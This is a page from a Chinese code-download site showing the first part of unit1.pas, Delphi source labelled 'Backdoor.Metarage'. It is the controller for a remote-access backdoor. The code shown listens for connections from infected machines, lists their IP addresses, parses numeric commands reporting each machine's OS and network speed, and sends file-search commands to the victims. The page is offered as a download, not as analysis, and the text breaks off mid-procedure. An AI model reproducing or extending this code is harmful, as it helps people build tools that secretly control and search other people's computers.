⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 Backdoor.Metarage,for delphi..
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, ExtCtrls, StdCtrls, ScktComp, Winsock, ImgList, Menus;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    Button6: TButton;
    Button7: TButton;
    Button8: TButton;
    Button9: TButton;
    Button10: TButton;
    Button11: TButton;
    Button12: TButton;
    Button13: TButton;
    Panel1: TPanel;
    Splitter1: TSplitter;
    Memo1: TMemo;
    Panel_Info: TPanel;
    Button14: TButton;
    Button15: TButton;
    Button16: TButton;
    Button17: TButton;
    Button18: TButton;
    Button19: TButton;
    ConTimer: TTimer;
    ProgressBar1: TProgressBar;
    StatusBar1: TStatusBar;
    Panel_Transfer: TPanel;
    ListView1: TListView;
    Button20: TButton;
    Button21: TButton;
    Button22: TButton;
    Panel_Status: TPanel;
    Label4: TLabel;
    Panel5: TPanel;
    Label5: TLabel;
    Label6: TLabel;
    Panel6: TPanel;
    Label7: TLabel;
    Label8: TLabel;
    Panel7: TPanel;
    Panel_Find: TPanel;
    ListView2: TListView;
    Label9: TLabel;
    Edit3: TEdit;
    Button23: TButton;
    Panel_Config: TPanel;
    Label10: TLabel;
    Edit4: TEdit;
    CheckBox2: TCheckBox;
    Panel_Sin: TPanel;
    Label11: TLabel;
    Edit5: TEdit;
    Button25: TButton;
    Button26: TButton;
    ListView3: TListView;
    ServerSocket1: TServerSocket;
    Button27: TButton;
    CheckBox1: TCheckBox;
    CheckBox3: TCheckBox;
    CheckBox4: TCheckBox;
    Image1: TImage;
    Image2: TImage;
    Image3: TImage;
    Panel_About: TPanel;
    Image4: TImage;
    Label12: TLabel;
    Label13: TLabel;
    Memo2: TMemo;
    Label14: TLabel;
    Label15: TLabel;
    Button24: TButton;
    CheckBox5: TCheckBox;
    ImageList1: TImageList;
    PopupMenu1: TPopupMenu;
    Clear1: TMenuItem;
    Panel_Intro: TPanel;
    Image5: TImage;
    Procedure Status(Str:String);
    Procedure Info(Str:String);
    procedure Button3Click(Sender: TObject);
    procedure Button8Click(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    procedure Button11Click(Sender: TObject);
    procedure Edit1KeyPress(Sender: TObject; var Key: Char);
    procedure Edit2KeyPress(Sender: TObject; var Key: Char);
    procedure Edit5KeyPress(Sender: TObject; var Key: Char);
    function  SendString(Str:String):boolean;
    procedure Button2Click(Sender: TObject);
    procedure Button25Click(Sender: TObject);
    procedure Button26Click(Sender: TObject);
    procedure Button23Click(Sender: TObject);
    procedure Button27Click(Sender: TObject);
    procedure ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure DoShit(str:String;ip:string);
    procedure FormCreate(Sender: TObject);
    procedure Button13Click(Sender: TObject);
    procedure ConTimerTimer(Sender: TObject);
    procedure Edit4KeyPress(Sender: TObject; var Key: Char);
    procedure Button24Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure ListView3DblClick(Sender: TObject);
    procedure Clear1Click(Sender: TObject);
    procedure Button21Click(Sender: TObject);
    procedure Button14Click(Sender: TObject);
    procedure Button17Click(Sender: TObject);
    procedure Button15Click(Sender: TObject);
    procedure Button18Click(Sender: TObject);
    procedure Button16Click(Sender: TObject);
    procedure Button19Click(Sender: TObject);
    procedure Button22Click(Sender: TObject);
    procedure Button20Click(Sender: TObject);
    Function Windir:String;
    Function Sysdir:String;
    procedure Memo1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Sock             : TSocket;
  Wsadatas         : TWSADATA;
  SockAddrIn       : TSockAddrIn;
  Buffer : Array[0..36000] Of Char;
  SIN              : Boolean;
  IP               : String;

implementation

{$R *.dfm}

Function TForm1.Sysdir:String;
Var
 B:Array[0..255]Of Char;
Begin
 GetSystemDirectory(B, 255);
 Result := String(B)+'\';
End;

Function TForm1.Windir:String;
Var
 B:Array[0..255]Of Char;
Begin
 GetWindowsDirectory(B, 255);
 Result := String(B)+'\';
End;

procedure TForm1.DoShit(str:String;ip:String);
Var
 I             :Integer;
 Cmd,
 Param,
 Tmp1,Tmp2,Tmp3:String;
 Item          :TListItem;
Begin
 If Pos(#13, Str)>0 Then Str:=Copy(Str, 1, Pos(#13, Str)-1);

 Panel6.Caption := IntToStr(StrToInt(Panel6.Caption)+Length(Str));
 Cmd := Copy(Str, 1, 2);
 Param := Copy(Str, 3, Length(Str));

 Info('Server -> '+Param);

 If Pos(Copy(Cmd, 1, 1), '0123456789')=0 Then Begin
  Info('Received Non-Mental Commando, Ignoring.');
  Exit;
 End;

 If Pos(Copy(Cmd, 2, 1), '0123456789')=0 Then Begin
  Info('Received Non-Mental Commando, Ignoring.');
  Exit;
 End;

 Case StrToInt(Cmd) Of
 // ---- Version ----
  10:StatusBar1.Panels[0].Text := Param;
 // ---- OS ----
  11:For I := 0 To ListView3.Items.Count -1 Do Begin
      If ListView3.Items[i].Caption = IP Then
       ListView3.Items[i].SubItems[0] := Param;
     End;
 // ---- Net Speed ----
  12:For I := 0 To ListView3.Items.Count -1 Do Begin
      If ListView3.Items[i].Caption = IP Then
       ListView3.Items[i].SubItems[1] := Param;
     End;
 // ---- Search Files ----
  38:Begin
      If param = '' Then Exit;
      Item := ListView2.Items.Add;
      Tmp1 := Copy(Param, 1, Pos(':', Param)-1);
      Tmp2 := Copy(Param, Pos(':', Param)+1, Length(Param));
      Item.Caption := ExtractFileName(Tmp2);
      Item.SubItems.Add(Tmp1);
      Item.SubItems.Add(Tmp2); 
     End;
 End;
End;

Procedure TForm1.Status(Str:String);
Begin
 StatusBar1.Panels[1].Text := 'Status : '+Str;
End;

Procedure TForm1.Info(Str:String);
Var
 F      :TextFile;
Begin
 Memo1.Lines.Add(Str);
 If Not CheckBox1.Checked Then Exit;
 AssignFile(F, 'Log.txt');
 If FileExists('Log.txt') Then
  Append(F)
 Else
  ReWrite(F);
 WriteLn(F, TimeToStr(Now)+' >> '+Str);
 CloseFile(F);
End;

procedure TForm1.Button3Click(Sender: TObject);
begin

panel_info.Visible := True;
panel_config.Visible := False;
panel_transfer.Visible := False;
panel_status.Visible := False;
panel_find.Visible := False;
panel_sin.Visible := False;
panel_about.Visible := False;

Panel_info.Align := AlClient;
end;

procedure TForm1.Button8Click(Sender: TObject);
begin
panel_info.Visible := False;
panel_config.Visible := False;
panel_transfer.Visible := True;
panel_status.Visible := False;
panel_find.Visible := False;
panel_sin.Visible := False;
panel_about.Visible := False;

panel_transfer.Align := AlClient;
end;

procedure TForm1.Button9Click(Sender: TObject);
begin
panel_info.Visible := False;
panel_config.Visible := False;
panel_transfer.Visible := False;
panel_status.Visible := True;
panel_find.Visible := False;
panel_sin.Visible := False;
panel_about.Visible := False;

panel_status.Align := AlClient;
end;

procedure TForm1.Button10Click(Sender: TObject);
begin
panel_info.Visible := False;
panel_config.Visible := False;
panel_transfer.Visible := False;
panel_status.Visible := False;
panel_find.Visible := True;
panel_sin.Visible := False;
panel_about.Visible := False;

panel_find.Align := AlClient;
end;

procedure TForm1.Button11Click(Sender: TObject);
begin
panel_info.Visible := False;
panel_config.Visible := True;
panel_transfer.Visible := False;
panel_status.Visible := False;
panel_find.Visible := False;
panel_sin.Visible := False;
panel_about.Visible := False;

panel_config.Align := AlClient;
end;

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if pos(key, '0123456789.'#8)=0 Then
 ZeroMemory(@Key, SizeOf(Key));
end;

procedure TForm1.Edit2KeyPress(Sender: TObject; var Key: Char);
begin
if pos(key, '0123456789'#8)=0 Then
 ZeroMemory(@Key, SizeOf(Key));
end;

procedure TForm1.Edit5KeyPress(Sender: TObject; var Key: Char);
begin
if pos(key, '0123456789'#8)=0 Then
 ZeroMemory(@Key, SizeOf(Key));
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
panel_info.Visible := False;
panel_config.Visible := False;
panel_transfer.Visible := False;
panel_status.Visible := False;
panel_find.Visible := False;
panel_sin.Visible := True;
panel_about.Visible := False;

panel_sin.Align := AlClient;
end;

procedure TForm1.Button25Click(Sender: TObject);
begin
Info('SIN Started : '+Edit5.Text);
ServerSocket1.port := strtoint(edit5.text);
serversocket1.Active := true;
end;

procedure TForm1.Button26Click(Sender: TObject);
begin
If ServerSocket1.Active Then
 ServerSocket1.Active := False;
 Info('SIN Stopped');
 ListView3.Items.Clear;
end;

procedure TForm1.Button23Click(Sender: TObject);
begin
Status('Sending search commando');
SendString('38'+Edit3.Text+#13);
end;

procedure TForm1.Button27Click(Sender: TObject);
var
 S:String;
begin
 S := ('You can use following types of search:'+#13#10);
 S := S + (' *.jpg - Find all jpg files'+#13#10);
 S := S + (' te*.jpg - Find all jpg starting with te'+#13#10);
 S := S + (' *st.jpg - Find all jpg ending with st'+#13#10);
 S := S + (' *test*.jpg - Find all jpg containing test');
 MessageBox(0, pChar(S), 'Help', mb_ok);
end;

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
var
  item:TListItem;
begin
  item := listview3.Items.Add;
  item.ImageIndex := 2;
  item.Caption := socket.RemoteAddress;
  item.SubItems.Add('?');
  item.SubItems.Add('?');
end;

procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
var
 i:integer;
begin
 for i := 0 to listview3.Items.Count -1 do

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -